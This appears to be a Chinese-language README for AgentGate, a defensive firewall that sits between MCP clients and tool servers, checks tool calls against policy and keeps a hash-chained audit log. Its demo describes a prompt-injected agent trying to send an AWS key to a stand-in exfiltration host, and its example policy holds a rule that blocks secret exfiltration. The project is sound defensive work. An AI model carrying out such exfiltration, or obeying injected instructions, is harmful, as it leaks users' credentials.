AgentGate

面向 AI 智能体的开源防火墙。 AgentGate 位于 MCP 客户端（如 Claude Code）与其通信的下游 MCP 服务器之间，根据您控制的策略评估每一次工具调用，并保留防篡改的审计记录。

一次被拦截的端到端攻击

一个提示注入的智能体试图通过 HTTP 窃取 AWS 密钥。AgentGate 拒绝该调用，在密钥写入磁盘之前将其脱敏，并记录下可验证的审计归与——所有这些都来自真实、已签入的策略和网关代码，而非图片草稿：

Simulated attack: prompt-injected agent attempts to
POST an AWS API key to an external server.

Tool called: network.request
Target URL:  https://evil-exfil.example.com/collect

Gateway Response: {
  content: [ { type: 'text', text: '[AgentGate] Denied by rule "block-secret-exfiltration": ...' } ],
  isError: true
}
Step 1 — Policy decision: ✅ DENIED

Verifying Audit Records in DB...
✅ PASS — 1 audit event found.
✅ PASS — Event status is DENIED.
✅ PASS — Event arguments are flagged as redacted.
✅ PASS — The raw AWS key is ABSENT from the persisted data.

Verifying Tamper-Evident Hash Chain...
✅ PASS — Audit chain verified (2 records).

自行运行：node examples/secret-exfiltration/demo.mjs（请参阅 演示与验证）。

Related MCP server: Proofpane

项目状态

早期开发 / 研究级 MVP。 AgentGate 实现了真实的策略引擎、真实的 MCP stdio 代理、真正防篡改的审计存储，以及真实的 Control Center UI——所有这一切都由可执行测试和一个端到端的攻击演示覆盖（参见 docs/VERIFICATION.md）。它尚未达到生产可用级别：除了每次启动生成的本地令牌外，没有身份验证，没有多用户支持，没有重放功能，而且目前对 MCP 协议的支持仅限 legacy 2025-era 的 stdio（参见 支持的集成）。在把它用于任何敏感场合之前，请先阅读 docs/THREAT_MODEL.md。

五分钟快速开始

需要 Node.js 20+ 和 pnpm（参见 package.json 中的 .nvmrc / packageManager）。以下一切都在仓库本地即可完成，无需发布到 npm 的包。

git clone https://github.com/chidhvilasa/agentgate.git
cd agentgate
pnpm install --frozen-lockfile
pnpm run build

# Validate the example policy
node packages/gateway/dist/cli.js validate policies/agentgate.example.yml

# Start the gateway (proxies to the official MCP filesystem server over stdio)
node packages/gateway/dist/cli.js start examples/agentgate.yml

网关在启动时会向 stderr 打印一个本地 Control Center URL 和一个一次性认证令牌。打开该 URL，按提示粘贴令牌，然后在 MCP 客户端（如 Claude Code）把网关的 stdio 命令配置为 MCP 服务地址，而不是直接配置下游服务器。完整的操作带带，包括在开发模式下运行 Control Center，请参见 docs/QUICKSTART.md。

AgentGate 的接入方式

 MCP client              AgentGate gateway                 Downstream MCP server
(Claude Code, …)  ─────▶  stdio proxy → policy engine  ─────▶  (filesystem, network, …)
                              │                 │
                              ▼                 ▼
                         audit storage     Control Center
                          (SQLite,          (local web UI,
                        hash-chained)      loopback only)

AgentGate 在两端都说 MCP 语言：对您的 MCP 客户端它是一台服务器，对真正的下游 MCP 服务器，它是一个 client。每个转发的工具调用都已经被评估过，而每个决策——允许、拒绝、脱敏或等待人工审批——都会在调用抵达真（或被阻止）之前记录到审计日志中。完整的时序图参见 docs/ARCHITECTURE.md。

核心功能

• 策略引擎 —— 声明式 YAML 规则，按照代理、工具、路径、命令、主机和敏感内容进行匹配；首次命中的规则生效；默认安全拒绝。

• 四种决策类型 —— allow、deny、require_approval（人工审批、TTL 限制、单次使用）和 allow_with_transform（先对指定字段脱敏，再放行）。

• 深层敏感信息脱敏 —— 无论在什么决策下，都会检测并脱敏 AWS/GitHub/OpenAI/Anthropic 密钥规则、Bearer 令牌、私钥头和 DB 连接字符串等敏感信息，并写入每一条持久化的审计记录。

• 防篡改审计轨迹 —— 每个事件都是一条具有 SHA-256 哈希链的 SQLite 追叫记录；agentgate audit verify 可独立重放并验证整条链。

• Control Center —— 一个仅在本机回环访问的 Web 界面：实时 SSE 时间线、审批队列、每个事件的详情（含脱敏和哈希链展示）、以及当前加载的策略。

• 路径遍历防御 —— 在匹配或持久化前对路径参数进行规范化（解析 ../.，统一路径分隔符）。

示例策略

version: 1

defaults:
  decision: deny

rules:
  - id: allow-project-reads
    description: Allow reading files inside the project root.
    agents: ["claude-code"]
    tools: ["read_file", "list_directory"]
    paths: ["${PROJECT_ROOT}/**"]
    decision: allow

  - id: approve-file-writes
    description: Require approval before writing any file.
    tools: ["write_file", "create_directory"]
    decision: require_approval
    approval_ttl_seconds: 120

  - id: block-secret-exfiltration
    description: Block network requests that appear to carry secrets or API keys.
    tools: ["network.*", "fetch", "http_request"]
    contains_secrets: true
    decision: deny

完整字段说明、匹配语义和可运行示例，请参考 docs/POLICY_REFERENCE.md。

CLI

agentgate start [config.yml]     # Start the gateway (default: ./agentgate.yml)
agentgate validate [policy.yml]  # Validate a policy file (default: ./agentgate.policy.yml)
agentgate audit verify [config]  # Independently re-verify the tamper-evident audit chain

agentgate 在 pnpm run build 后为 packages/gateway/dist/cli.js（尚未发布到 npm，见 项目状态）。在仓库根目录运行 node packages/gateway/dist/cli.js <command>，或在 packages/gateway 内使用 workspace bin 运行。

Control Center

一个仅在本地站点的 React UI，开发时由 Vite 提供服务，并且可通过网关 YAML 中配置的 control_port 访问：

• 总览 —— 实时风险指标、允许/拒绝/待处理的计数，以及最近的高危事件。

• 时间线 —— 通过 Server-Sent Events 实时展示每一个被拦截的工具调用。

• 审批 —— 待人工审批的 require_approval 请求，带有 TTL 到期倒计时；拒绝在视觉上是主要操作。

• 事件详情 —— 提供完整的决策轨迹、脱敏后的参数以及该事件在哈希链中的位置。

• 策略 —— 显示当前加载的策略文件和决策类型参考（本里程碑为只读）。

它使用每次启动随机生成的（动态）令牌进行认证，令牌在启动时输出到网关的 stderr，并以 x-agentgate-token 请求头的形式发送，或作为 SSE 流的 token 查询参数发送。详见 安全模型 了解它能防护什么、不能防护什么。

支持的集成

如果你现在就需要现代协议或 HTTP 传输，AgentGate 目前还不太适合你的需求——请留意 ADR-0005 的进展。

安全模型与限制

AgentGate 将智能体身份视为不可信：declared_name 和 declared_version 都是由对方自行声明，仅用于展示，绝不用于授权（verified_identity 值始终为 false）。策略决策完全基于工具名称、已规范化的路径、命令、主机和检测出来的敏感内容。

, what it does and doesn't prove: 每条审计记录的 SHA-256 哈希都涉及前一条记录的哈希，因此对历史记录进行推迟的编辑或删除会破坏链条，agentgate audit verify 将发现。该记录是可发现篡改（tamper-evident），而不是不可篡改（tamper-proof），并且不提供任何不可否认性（non-repudiation）保证——只要拥有数据库文件系统访问权限的本地管理员，就可以替换整个 SQLite 文件，从头生成一条自洽的链。这里没有外部锚定。完整模型，包括间接提示注入、恶意下游服务器、审批重放以及本里程碑尚未缓解的拒绝服务风险，见 docs/THREAT_MODEL.md。

架构

组件职责、系统/时序图、审计数据模型以及信任边界，请参阅 docs/ARCHITECTURE.md。

演示与验证

node examples/secret-exfiltration/demo.mjs   # end-to-end attack demo (self-cleaning, writes to a temp dir)
pnpm run test                                # unit/integration tests (policy + gateway)
pnpm run lint                                # type-aware lint gate across the whole workspace

演示和测试套件中每一条断言，均在 docs/VERIFICATION.md 中有交叉验证。

开发与贡献

工作区布局、在本地运行网关和 Control Center 的步骤、如何添加策略与测试锁，参见 docs/DEVELOPMENT.md。贡献流程、对 PR 的影响预期以及决策记录（decision ledger）规范，参见 CONTRIBUTING.md。发现安全漏洞，请参阅 SECURITY.md——不要公开发布 issue。

许可证

Apache License 2.0。